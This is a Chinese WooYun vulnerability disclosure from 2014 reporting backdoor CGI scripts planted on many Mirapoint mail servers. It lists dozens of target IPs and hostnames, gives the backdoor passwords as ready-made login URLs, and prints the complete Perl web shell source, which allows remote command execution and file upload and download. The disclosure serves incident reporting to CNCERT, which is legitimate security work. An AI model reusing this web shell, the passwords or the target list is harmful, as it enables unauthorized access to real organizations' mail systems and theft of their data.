当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085098

漏洞标题:大量使用Mirapoint的邮件系统被自动化植入后门(统计中招比例1/5)

相关厂商:Mirapoint Software, Inc

漏洞作者: 路人甲

提交时间:2014-11-28 15:35

修复时间:2015-02-26 15:36

公开时间:2015-02-26 15:36

漏洞类型:地下0day/成功的入侵事件

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-28: 细节已通知厂商并且等待厂商处理中
2014-12-03: 厂商已经确认,细节仅向厂商公开
2014-12-06: 细节向第三方安全合作伙伴开放
2015-01-27: 细节向核心白帽子及相关领域专家公开
2015-02-06: 细节向普通白帽子公开
2015-02-16: 细节向实习白帽子公开
2015-02-26: 细节向公众公开

简要描述:

大量使用Mirapoint的邮件系统发现后门(比例1/5)
本来打算看看Mirapoint的源代码 做下审计,结果发现两个可疑文件。

详细说明:

发现两个后门文件:
cgi-bin/frame.cgi 密码:system_admin
cgi-bin/licenses.cgi 密码:system_nimda
licenses最多

https://210.162.133.131/cgi-bin/licenses.cgi:	200
https://192.195.154.239/cgi-bin/licenses.cgi: 200
https://91.217.172.181/cgi-bin/licenses.cgi: 200
https://74.219.78.212/cgi-bin/licenses.cgi: 200
https://202.147.192.101/cgi-bin/licenses.cgi: 200
https://202.147.192.101/cgi-bin/licenses.cgi: 200
https://64.62.143.195/cgi-bin/licenses.cgi: 200
https://202.147.192.105/cgi-bin/licenses.cgi: 200
https://61.120.197.38/cgi-bin/licenses.cgi: 200
https://124.93.238.176/cgi-bin/licenses.cgi: 200
https://12.219.233.49/cgi-bin/licenses.cgi: 000
https://192.195.154.243/cgi-bin/licenses.cgi: 200
https://192.195.154.242/cgi-bin/licenses.cgi: 200
https://199.26.202.34/cgi-bin/licenses.cgi: 200
https://91.217.172.227/cgi-bin/licenses.cgi: 200
https://91.217.172.230/cgi-bin/licenses.cgi: 200
https://58.65.0.250/cgi-bin/licenses.cgi: 200
https://64.62.143.195/cgi-bin/licenses.cgi: 200
https://72.22.9.20/cgi-bin/licenses.cgi: 200
https://72.22.9.20/cgi-bin/licenses.cgi: 200
https://12.14.47.76/cgi-bin/licenses.cgi: 200
https://72.22.9.20/cgi-bin/licenses.cgi: 200
https://12.14.47.76/cgi-bin/licenses.cgi: 200
https://72.22.9.21/cgi-bin/licenses.cgi: 200
https://202.147.192.101/cgi-bin/licenses.cgi: 200
https://91.217.172.234/cgi-bin/licenses.cgi: 200
https://137.165.4.244/cgi-bin/licenses.cgi: 200
https://195.10.115.239/cgi-bin/licenses.cgi: 200
https://219.142.74.67/cgi-bin/licenses.cgi: 403
https://81.246.0.216/cgi-bin/licenses.cgi: 200
https://202.147.192.101/cgi-bin/licenses.cgi: 200


http://mail1.coscodl.com/cgi-bin/licenses.cgi?p=system_nimda&a=LOGIN
https://124.93.238.176/cgi-bin/frame.cgi?p=system_admin&a=LOGIN
http://mail.infokom.net/cgi-bin/licenses.cgi?p=system_nimda&a=LOGIN
http://mail1.coscodl.com/cgi-bin/licenses.cgi?p=system_nimda&a=LOGIN
http://124.93.238.165/cgi-bin/licenses.cgi?p=system_nimda&a=LOGIN
http://203.80.116.242/cgi-bin/licenses.cgi?p=system_nimda&a=LOGIN
https://mailpr.coscodl.com/cgi-bin/licenses.cgi?p=system_nimda&a=LOGIN
http://pelican.admin.ccny.cuny.edu/cgi-bin/licenses.cgi?p=system_nimda&a=LOGIN
https://124.93.238.176/cgi-bin/frame.cgi?p=system_admin&a=LOGIN
http://mail.infokom.net/cgi-bin/licenses.cgi
https://124.93.238.176/cgi-bin/licenses.cgi
http://124.93.238.165/cgi-bin/licenses.cgi
http://203.80.116.242/cgi-bin/licenses.cgi
https://mailpr.coscodl.com/cgi-bin/licenses.cgi
http://pelican.admin.ccny.cuny.edu/cgi-bin/licenses.cgi


后门源码:

#!/usr/bin/perl -w
$Password="system_nimda";
$WinNT=0;
$NTCmdSep="&";
$UnixCmdSep=";";
$CommandTimeoutDuration=50;
$ShowDynamicOutput=1;
$CmdSep=($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd=($WinNT ? "cd" : "pwd");
$PathSep=($WinNT ? "\\" : "/");
$Redirector=($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
sub ReadParse{
local(*in)=@_ if @_;
local($i,$loc,$key,$val);
$MultipartFormData=$ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
if($ENV{'REQUEST_METHOD'} eq "GET"){$in=$ENV{'QUERY_STRING'};}
elsif($ENV{'REQUEST_METHOD'} eq "POST"){binmode(STDIN) if $MultipartFormData & $WinNT;read(STDIN, $in, $ENV{'CONTENT_LENGTH'});}
if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/){
$Boundary='--'.$1;
@list=split(/$Boundary/,$in);
$HeaderBody=$list[1];
$HeaderBody =~ /\r\n\r\n|\n\n/;
$Header=$`;
$Body=$';
$Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
$in{'filedata'}=$Body;
$Header =~ /filename=\"(.+)\"/;
$in{'f'}=$1;
$in{'f'} =~ s/\"//g;
$in{'f'} =~ s/\s//g;
for($i=2; $list[$i]; $i++){
$list[$i] =~ s/^.+name=$//;
$list[$i] =~ /\"(\w+)\"/;
$key=$1;
$val=$';
$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key}=$val;}}
else{
@in=split(/&/, $in);
foreach $i (0 .. $#in){
$in[$i] =~ s/\+/ /g;
($key, $val)=split(/=/, $in[$i], 2);
$key =~ s/%(..)/pack("c", hex($1))/ge;
$val =~ s/%(..)/pack("c", hex($1))/ge;
$in{$key} .= "\0" if (defined($in{$key}));
$in{$key} .= $val;}}
}
sub PrintPageHeader{
$EncodedCurrentDir=$CurrentDir;
$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
print "Content-type: text/html\n\n";
print <<END;
<html><head>
<title>Mirapoint Software</title>
$HtmlMetaHeader
</head>
<body onLoad="document.f.@_.focus()" style="background:#AAAAAA;" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
<table style="width:955px;" align="center" border="0" cellspacing="0" cellpadding="2">
<tr><td bgcolor="#293F5F"><font face="Verdana" size="2" color="#FFFFFF"><b>&nbsp;&#8857;&nbsp;$ServerName:$ENV{'SERVER_PORT'} - $ENV{'SERVER_SOFTWARE'} - $ENV{'GATEWAY_INTERFACE'}</b></font></td></tr>
<tr>
<td colspan="2" bgcolor="#FFFFE0"><font color="#FF0000" size="2">
&nbsp;&nbsp;<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">&#25991;&#20214;&#19978;&#20256;</a> |
<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">&#25991;&#20214;&#19979;&#36733;</a> |
<a href="$ScriptLocation?a=logout">&#27880;&#38144;&#30331;&#24405;</a> |
power by Mirapoint</a>
</font></td></tr>
<tr><td>
<font color="#006633" size="3">
END
}
sub PrintLoginScreen{$Message;}
sub PrintLoginFailedMessage{print "<codef>Login Failed,Wrong Password</codef>";}
sub PrintLoginForm{
print <<END;
<center>
<form namord>
<div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
<div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>Login</b></div>
<div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="p" style="width:270px;"></div>
<div style="width:350px;height:30px;clear:both;"><input type="submit" name="a" value="LOGIN" style="width:80px;"></div>
</div>
</form>
</center>
END
}
sub PrintPageFooter{print "</font></td></tr></table></body></html>";}
sub GetCookies{@httpcookies=split(/; /,$ENV{'HTTP_COOKIE'});
foreach $cookie(@httpcookies){($id, $val)=split(/=/, $cookie);$Cookies{$id}=$val;}}
sub PrintLogoutScreen{print "<codef>Logout Success<br><br></codef>";}
sub PerformLogout{
print "Set-Cookie: SAVEDPWD=;\n";
&PrintPageHeader("p");
&PrintLogoutScreen;
&PrintLoginScreen;
&PrintLoginForm;
&PrintPageFooter;
}
sub PerformLogin {
if($LoginPassword eq $Password){
print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
&PrintPageHeader("c");
&PrintCommandLineInputForm;
&PrintPageFooter;
}else{
&PrintPageHeader("p");
&PrintLoginScreen;
if($LoginPassword ne ""){&PrintLoginFailedMessage;}
&PrintLoginForm;
&PrintPageFooter;
}
}
sub PrintCommandLineInputForm{
$Prompt=$WinNT ? "$CurrentDir> ":"[xyuser\@$ServerName $CurrentDir]\$ ";
print <<END;
<codef>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="command">
<input type="hidden" name="d" value="$CurrentDir">
$Prompt
<input type="text" name="c" style="width:550px;">
</form>
</codef>
END
}
sub PrintFileDownloadForm{
$Prompt=$WinNT ? "$CurrentDir> " : "[r00t\@$ServerName $CurrentDir]\$ ";
print <<END;
<codef>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="download">
$Prompt download<br><br>
Filename: <input type="text" name="f" size="35"><br><br>
Download: <input type="submit" value="Begin">
</form>
</codef>
END
}
sub PrintFileUploadForm{
$Prompt=$WinNT ? "$CurrentDir> " : "[r00t\@$ServerName $CurrentDir]\$ ";
print <<END;
<codef>
<form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
$Prompt upload<br><br>
Filename: <input type="file" name="f" size="35"><br><br>
Options: &nbsp;<input type="checkbox" name="o" value="overwrite">
Overwrite if it Exists<br><br>
Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="upload">
</form>
</codef>
END
}
sub CommandTimeout{
if(!$WinNT){
alarm(0);
print <<END;
</xmp>
<codef>
Command exceeded maximum time of $CommandTimeoutDuration second(s).
<br>Killed it!
<codef>
END
&PrintCommandLineInputForm;
&PrintPageFooter;
exit;}
}
sub ExecuteCommand{
if($RunCommand =~ m/^\s*cd\s+(.+)/){
$OldDir=$CurrentDir;
$Command="cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
chop($CurrentDir=`$Command`);
&PrintPageHeader("c");
$Prompt=$WinNT ? "$OldDir> " : "[r00t\@$ServerName $OldDir]\$ ";
print "<codef>$Prompt $RunCommand</codef>";
}else{
&PrintPageHeader("c");
$Prompt=$WinNT ? "$CurrentDir> " : "[r00t\@$ServerName $CurrentDir]\$ ";
print "<codef>$Prompt $RunCommand</codef><xmp>";
$Command="cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
if(!$WinNT){$SIG{'ALRM'}=\&CommandTimeout;alarm($CommandTimeoutDuration);}
if($ShowDynamicOutput){
$|=1;
$Command .= " |";
open(CommandOutput, $Command);
while(<CommandOutput>){$_ =~ s/(\n|\r\n)$//;print "$_\n";}
$|=0;
}else{print `$Command`;}
if(!$WinNT){alarm(0);}
print "</xmp>";
}
&PrintCommandLineInputForm;
&PrintPageFooter;
}
sub PrintDownloadLinkPage{
local($FileUrl)=@_;
if(-e $FileUrl){
$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
$DownloadLink="$ScriptLocation?a=download&f=$FileUrl&o=go";
$HtmlMetaHeader="<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
&PrintPageHeader("c");
print <<END;
<codef>
Sending File $TransferFile...<br>
If the download does not start automatically,
<a href="$DownloadLink">Click Here</a>.
</codef>
END
&PrintCommandLineInputForm;
&PrintPageFooter;
}else{
&PrintPageHeader("f");
print "<codef>&#19979;&#36733;&#22833;&#36133; $FileUrl: $!</codef>";
&PrintFileDownloadForm;
&PrintPageFooter;}
}
sub SendFileToBrowser{
local($SendFile)=@_;
if(open(SENDFILE, $SendFile)) # file opened for reading
{if($WinNT){binmode(SENDFILE);binmode(STDOUT);}
$FileSize=(stat($SendFile))[7];
($Filename=$SendFile) =~ m!([^/^\\]*)$!;
print "Content-Type: application/x-unknown\n";
print "Content-Length: $FileSize\n";
print "Content-Disposition: attachment; filename=$1\n\n";
print while(<SENDFILE>);
close(SENDFILE);
}
else{
&PrintPageHeader("f");
print "<codef>&#19979;&#36733;&#22833;&#36133; $SendFile: $!</codef>";
&PrintFileDownloadForm;
&PrintPageFooter;
}
}
sub BeginDownload{
if(($WinNT & ($TransferFile =~ m/^\\|^.:/))|(!$WinNT & ($TransferFile =~ m/^\//))){$TargetFile=$TransferFile;}
else{chop($TargetFile) if($TargetFile=$CurrentDir) =~ m/[\\\/]$/;$TargetFile .= $PathSep.$TransferFile;}
if($Options eq "go"){&SendFileToBrowser($TargetFile);}else{&PrintDownloadLinkPage($TargetFile);}
}
sub UploadFile{
if($TransferFile eq ""){&PrintPageHeader("f");&PrintFileUploadForm;&PrintPageFooter;return;}
&PrintPageHeader("c");
print "<codef>Uploading $TransferFile to $CurrentDir...<br>";
chop($TargetName) if ($TargetName=$CurrentDir) =~ m/[\\\/]$/;
$TransferFile =~ m!([^/^\\]*)$!;
$TargetName .= $PathSep.$1;
$TargetFileSize=length($in{'filedata'});
if(-e $TargetName && $Options ne "overwrite"){print "Failed:&#30446;&#26631;&#25991;&#20214;&#24050;&#23384;&#22312;...<br>";
}else{
if(open(UPLOADFILE, ">$TargetName")){
binmode(UPLOADFILE) if $WinNT;
print UPLOADFILE $in{'filedata'};
close(UPLOADFILE);
print "Transfered $TargetFileSize Bytes.<br>";
print "File Path: $TargetName<br>";
}else{print "Failed: $!<br>";}
}
print "</codef>";
&PrintCommandLineInputForm;
&PrintPageFooter;
}
sub DownloadFile{
if($TransferFile eq ""){&PrintPageHeader("f");&PrintFileDownloadForm;&PrintPageFooter;return;}
if(($WinNT & ($TransferFile =~ m/^\\|^.:/))|(!$WinNT & ($TransferFile =~ m/^\//))){$TargetFile=$TransferFile;}
else{chop($TargetFile) if($TargetFile=$CurrentDir) =~ m/[\\\/]$/;$TargetFile .= $PathSep.$TransferFile;}
if($Options eq "go"){&SendFileToBrowser($TargetFile);}
else{&PrintDownloadLinkPage($TargetFile);}
}
&ReadParse;
&GetCookies;
$ScriptLocation=$ENV{'SCRIPT_NAME'};
$ServerName=$ENV{'SERVER_NAME'};
$LoginPassword=$in{'p'};
$RunCommand=$in{'c'};
$TransferFile=$in{'f'};
$Options=$in{'o'};
$Action=$in{'a'};
$Action="LOGIN" if($Action eq "");
$CurrentDir=$in{'d'};
chop($CurrentDir=`$CmdPwd`) if($CurrentDir eq "");
$LoggedIn=$Cookies{'SAVEDPWD'} eq $Password;
if($Action eq "LOGIN" || !$LoggedIn){&PerformLogin;}
elsif($Action eq "command"){&ExecuteCommand;}
elsif($Action eq "upload"){&UploadFile;}
elsif($Action eq "download"){&DownloadFile;}
elsif($Action eq "logout"){&PerformLogout;}


不排除还有藏的更深的后门
中石化的系统被留过后门,目前被waf之类的防了
https://219.142.74.67/cgi-bin/licenses.cgi
中央外汇业务中心
https://219.141.224.182/cgi-bin/licenses.cgi 也被防了
但还有好多用户的是没有waf防范后门的

漏洞证明:

屏幕快照 2014-11-28 下午3.26.00.png


屏幕快照 2014-11-28 下午3.26.12.png


屏幕快照 2014-11-28 下午3.26.52.png


屏幕快照 2014-11-28 下午3.26.59.png


屏幕快照 2014-11-28 下午3.27.06.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-12-03 08:35

厂商回复:

CNVD确认并复现所述情况,此前BASH漏洞披露时,CNVD对Mirapoint已经列入监测范围。后续将根据白帽子提供的后门攻击线索,加强监测,重点处置涉及国内用户的案例。由于案例较多,未能一一处置。

最新状态:

暂无